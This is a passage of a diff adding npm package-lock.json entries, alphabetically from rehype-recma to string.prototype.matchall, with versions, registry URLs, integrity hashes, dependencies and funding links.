+ "resolved": "https://registry.npmjs.org/rehype-recma/-/rehype-recma-1.0.0.tgz",
+ "integrity": "sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "hast-util-to-estree": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rehype-slug": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/rehype-slug/-/rehype-slug-6.0.0.tgz",
+ "integrity": "sha512-lWyvf/jwu+oS5+hL5eClVd3hNdmwM1kAC0BUvEGD19pajQMIzcNUd/k9GsfQ+FfECvX+JE+e9/btsKH0EjJT6A==",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "github-slugger": "^2.0.0",
+ "hast-util-heading-rank": "^3.0.0",
+ "hast-util-to-string": "^3.0.0",
+ "unist-util-visit": "^5.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-gfm": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.0.tgz",
+ "integrity": "sha512-U92vJgBPkbw4Zfu/IiW2oTZLSL3Zpv+uI7My2eq8JxKgqraFdU8YUGicEJCEgSbeaG+QDFqIcwwfMTOEelPxuA==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "mdast-util-gfm": "^3.0.0",
+ "micromark-extension-gfm": "^3.0.0",
+ "remark-parse": "^11.0.0",
+ "remark-stringify": "^11.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-mdx": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-3.1.0.tgz",
+ "integrity": "sha512-Ngl/H3YXyBV9RcRNdlYsZujAmhsxwzxpDzpDEhFBVAGthS4GDgnctpDjgFl/ULx5UEDzqtW1cyBSNKqYYrqLBA==",
+ "dependencies": {
+ "mdast-util-mdx": "^3.0.0",
+ "micromark-extension-mdxjs": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-parse": {
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz",
+ "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-rehype": {
+ "version": "11.1.1",
+ "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.1.tgz",
+ "integrity": "sha512-g/osARvjkBXb6Wo0XvAeXQohVta8i84ACbenPpoSsxTOQH/Ae0/RGP4WZgnMH5pMLpsj4FG7OHmcIcXxpza8eQ==",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "mdast-util-to-hast": "^13.0.0",
+ "unified": "^11.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-stringify": {
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-11.0.0.tgz",
+ "integrity": "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "mdast-util-to-markdown": "^2.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remarkable": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/remarkable/-/remarkable-2.0.1.tgz",
+ "integrity": "sha512-YJyMcOH5lrR+kZdmB0aJJ4+93bEojRZ1HGDn9Eagu6ibg7aVZhc3OWbbShRid+Q5eAfsEqWxpe+g5W5nYNfNiA==",
+ "license": "MIT",
+ "dependencies": {
+ "argparse": "^1.0.10",
+ "autolinker": "^3.11.0"
+ },
+ "bin": {
+ "remarkable": "bin/remarkable.js"
+ },
+ "engines": {
+ "node": ">= 6.0.0"
+ }
+ },
+ "node_modules/remarkable/node_modules/argparse": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "license": "MIT",
+ "dependencies": {
+ "sprintf-js": "~1.0.2"
+ }
+ },
+ "node_modules/repeat-string": {
+ "version": "1.6.1",
+ "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
+ "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/requires-port": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
+ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==",
+ "license": "MIT"
+ },
+ "node_modules/reselect": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz",
+ "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==",
+ "license": "MIT"
+ },
+ "node_modules/resolve": {
+ "version": "1.22.8",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
+ "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==",
+ "dependencies": {
+ "is-core-module": "^2.13.0",
+ "path-parse": "^1.0.7",
+ "supports-preserve-symlinks-flag": "^1.0.0"
+ },
+ "bin": {
+ "resolve": "bin/resolve"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/resolve-from": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+ "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/resolve-pkg-maps": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz",
+ "integrity": "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==",
+ "funding": {
+ "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1"
+ }
+ },
+ "node_modules/ret": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/ret/-/ret-0.2.2.tgz",
+ "integrity": "sha512-M0b3YWQs7R3Z917WRQy1HHA7Ba7D8hvZg6UE5mLykJxQVE2ju0IXbGlaHPPlkY+WN7wFP+wUMXmBFA0aV6vYGQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/reusify": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+ "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+ "engines": {
+ "iojs": ">=1.0.0",
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "deprecated": "Rimraf versions prior to v4 are no longer supported",
+ "dependencies": {
+ "glob": "^7.1.3"
+ },
+ "bin": {
+ "rimraf": "bin.js"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/run-parallel": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "dependencies": {
+ "queue-microtask": "^1.2.2"
+ }
+ },
+ "node_modules/safe-array-concat": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz",
+ "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "call-bound": "^1.0.2",
+ "get-intrinsic": "^1.2.6",
+ "has-symbols": "^1.1.0",
+ "isarray": "^2.0.5"
+ },
+ "engines": {
+ "node": ">=0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/safe-buffer": {
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+ "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/safe-regex-test": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
+ "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "is-regex": "^1.2.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/sass": {
+ "version": "1.83.4",
+ "resolved": "https://registry.npmjs.org/sass/-/sass-1.83.4.tgz",
+ "integrity": "sha512-B1bozCeNQiOgDcLd33e2Cs2U60wZwjUUXzh900ZyQF5qUasvMdDZYbQ566LJu7cqR+sAHlAfO6RMkaID5s6qpA==",
+ "devOptional": true,
+ "peer": true,
+ "dependencies": {
+ "chokidar": "^4.0.0",
+ "immutable": "^5.0.2",
+ "source-map-js": ">=0.6.2 <2.0.0"
+ },
+ "bin": {
+ "sass": "sass.js"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "optionalDependencies": {
+ "@parcel/watcher": "^2.4.1"
+ }
+ },
+ "node_modules/sass/node_modules/chokidar": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz",
+ "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==",
+ "devOptional": true,
+ "dependencies": {
+ "readdirp": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 14.16.0"
+ },
+ "funding": {
+ "url": "https://paulmillr.com/funding/"
+ }
+ },
+ "node_modules/sass/node_modules/readdirp": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.1.tgz",
+ "integrity": "sha512-h80JrZu/MHUZCyHu5ciuoI0+WxsCxzxJTILn6Fs8rxSnFPh+UVHYfeIxK1nVGugMqkfC4vJcBOYbkfkwYK0+gw==",
+ "devOptional": true,
+ "engines": {
+ "node": ">= 14.18.0"
+ },
+ "funding": {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ },
+ "node_modules/scheduler": {
+ "version": "0.23.2",
+ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz",
+ "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==",
+ "dependencies": {
+ "loose-envify": "^1.1.0"
+ }
+ },
+ "node_modules/semver": {
+ "version": "7.7.3",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",
+ "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==",
+ "license": "ISC",
+ "bin": {
+ "semver": "bin/semver.js"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/serialize-error": {
+ "version": "8.1.0",
+ "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-8.1.0.tgz",
+ "integrity": "sha512-3NnuWfM6vBYoy5gZFvHiYsVbafvI9vZv/+jlIigFn4oP4zjNPK3LhcY0xSCgeb1a5L8jO71Mit9LlNoi2UfDDQ==",
+ "license": "MIT",
+ "dependencies": {
+ "type-fest": "^0.20.2"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/set-function-length": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+ "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+ "dependencies": {
+ "define-data-property": "^1.1.4",
+ "es-errors": "^1.3.0",
+ "function-bind": "^1.1.2",
+ "get-intrinsic": "^1.2.4",
+ "gopd": "^1.0.1",
+ "has-property-descriptors": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/set-function-name": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz",
+ "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==",
+ "dependencies": {
+ "define-data-property": "^1.1.4",
+ "es-errors": "^1.3.0",
+ "functions-have-names": "^1.2.3",
+ "has-property-descriptors": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/sha.js": {
+ "version": "2.4.12",
+ "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz",
+ "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==",
+ "license": "(MIT AND BSD-3-Clause)",
+ "dependencies": {
+ "inherits": "^2.0.4",
+ "safe-buffer": "^5.2.1",
+ "to-buffer": "^1.2.0"
+ },
+ "bin": {
+ "sha.js": "bin.js"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/sharp": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz",
+ "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==",
+ "hasInstallScript": true,
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@img/colour": "^1.0.0",
+ "detect-libc": "^2.1.2",
+ "semver": "^7.7.3"
+ },
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-darwin-arm64": "0.34.5",
+ "@img/sharp-darwin-x64": "0.34.5",
+ "@img/sharp-libvips-darwin-arm64": "1.2.4",
+ "@img/sharp-libvips-darwin-x64": "1.2.4",
+ "@img/sharp-libvips-linux-arm": "1.2.4",
+ "@img/sharp-libvips-linux-arm64": "1.2.4",
+ "@img/sharp-libvips-linux-ppc64": "1.2.4",
+ "@img/sharp-libvips-linux-riscv64": "1.2.4",
+ "@img/sharp-libvips-linux-s390x": "1.2.4",
+ "@img/sharp-libvips-linux-x64": "1.2.4",
+ "@img/sharp-libvips-linuxmusl-arm64": "1.2.4",
+ "@img/sharp-libvips-linuxmusl-x64": "1.2.4",
+ "@img/sharp-linux-arm": "0.34.5",
+ "@img/sharp-linux-arm64": "0.34.5",
+ "@img/sharp-linux-ppc64": "0.34.5",
+ "@img/sharp-linux-riscv64": "0.34.5",
+ "@img/sharp-linux-s390x": "0.34.5",
+ "@img/sharp-linux-x64": "0.34.5",
+ "@img/sharp-linuxmusl-arm64": "0.34.5",
+ "@img/sharp-linuxmusl-x64": "0.34.5",
+ "@img/sharp-wasm32": "0.34.5",
+ "@img/sharp-win32-arm64": "0.34.5",
+ "@img/sharp-win32-ia32": "0.34.5",
+ "@img/sharp-win32-x64": "0.34.5"
+ }
+ },
+ "node_modules/shebang-command": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+ "dependencies": {
+ "shebang-regex": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/shebang-regex": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/short-unique-id": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/short-unique-id/-/short-unique-id-5.3.2.tgz",
+ "integrity": "sha512-KRT/hufMSxXKEDSQujfVE0Faa/kZ51ihUcZQAcmP04t00DvPj7Ox5anHke1sJYUtzSuiT/Y5uyzg/W7bBEGhCg==",
+ "license": "Apache-2.0",
+ "bin": {
+ "short-unique-id": "bin/short-unique-id",
+ "suid": "bin/short-unique-id"
+ }
+ },
+ "node_modules/side-channel": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
+ "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "object-inspect": "^1.13.3",
+ "side-channel-list": "^1.0.0",
+ "side-channel-map": "^1.0.1",
+ "side-channel-weakmap": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-list": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
+ "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "object-inspect": "^1.13.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-map": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
+ "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.5",
+ "object-inspect": "^1.13.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-weakmap": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
+ "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.5",
+ "object-inspect": "^1.13.3",
+ "side-channel-map": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/signal-exit": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
+ "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/slash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/sonner": {
+ "version": "1.7.1",
+ "resolved": "https://registry.npmjs.org/sonner/-/sonner-1.7.1.tgz",
+ "integrity": "sha512-b6LHBfH32SoVasRFECrdY8p8s7hXPDn3OHUFbZZbiB1ctLS9Gdh6rpX2dVrpQA0kiL5jcRzDDldwwLkSKk3+QQ==",
+ "peerDependencies": {
+ "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc",
+ "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc"
+ }
+ },
+ "node_modules/source-map": {
+ "version": "0.7.4",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+ "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/source-map-js": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
+ "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/space-separated-tokens": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz",
+ "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/sprintf-js": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+ "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/stable-hash": {
+ "version": "0.0.4",
+ "resolved": "https://registry.npmjs.org/stable-hash/-/stable-hash-0.0.4.tgz",
+ "integrity": "sha512-LjdcbuBeLcdETCrPn9i8AYAZ1eCtu4ECAWtP7UleOiZ9LzVxRzzUZEoZ8zB24nhkQnDWyET0I+3sWokSDS3E7g=="
+ },
+ "node_modules/string-width": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
+ "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
+ "dependencies": {
+ "eastasianwidth": "^0.2.0",
+ "emoji-regex": "^9.2.2",
+ "strip-ansi": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/string-width-cjs": {
+ "name": "string-width",
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/string-width-cjs/node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+ },
+ "node_modules/string-width/node_modules/ansi-regex": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+ "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-regex?sponsor=1"
+ }
+ },
+ "node_modules/string-width/node_modules/strip-ansi": {
+ "version": "7.1.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
+ "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
+ "dependencies": {
+ "ansi-regex": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/strip-ansi?sponsor=1"
+ }
+ },
+ "node_modules/string.prototype.includes": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz",
+ "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/string.prototype.matchall": {
+ "version": "4.0.11",
+ "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.11.tgz",
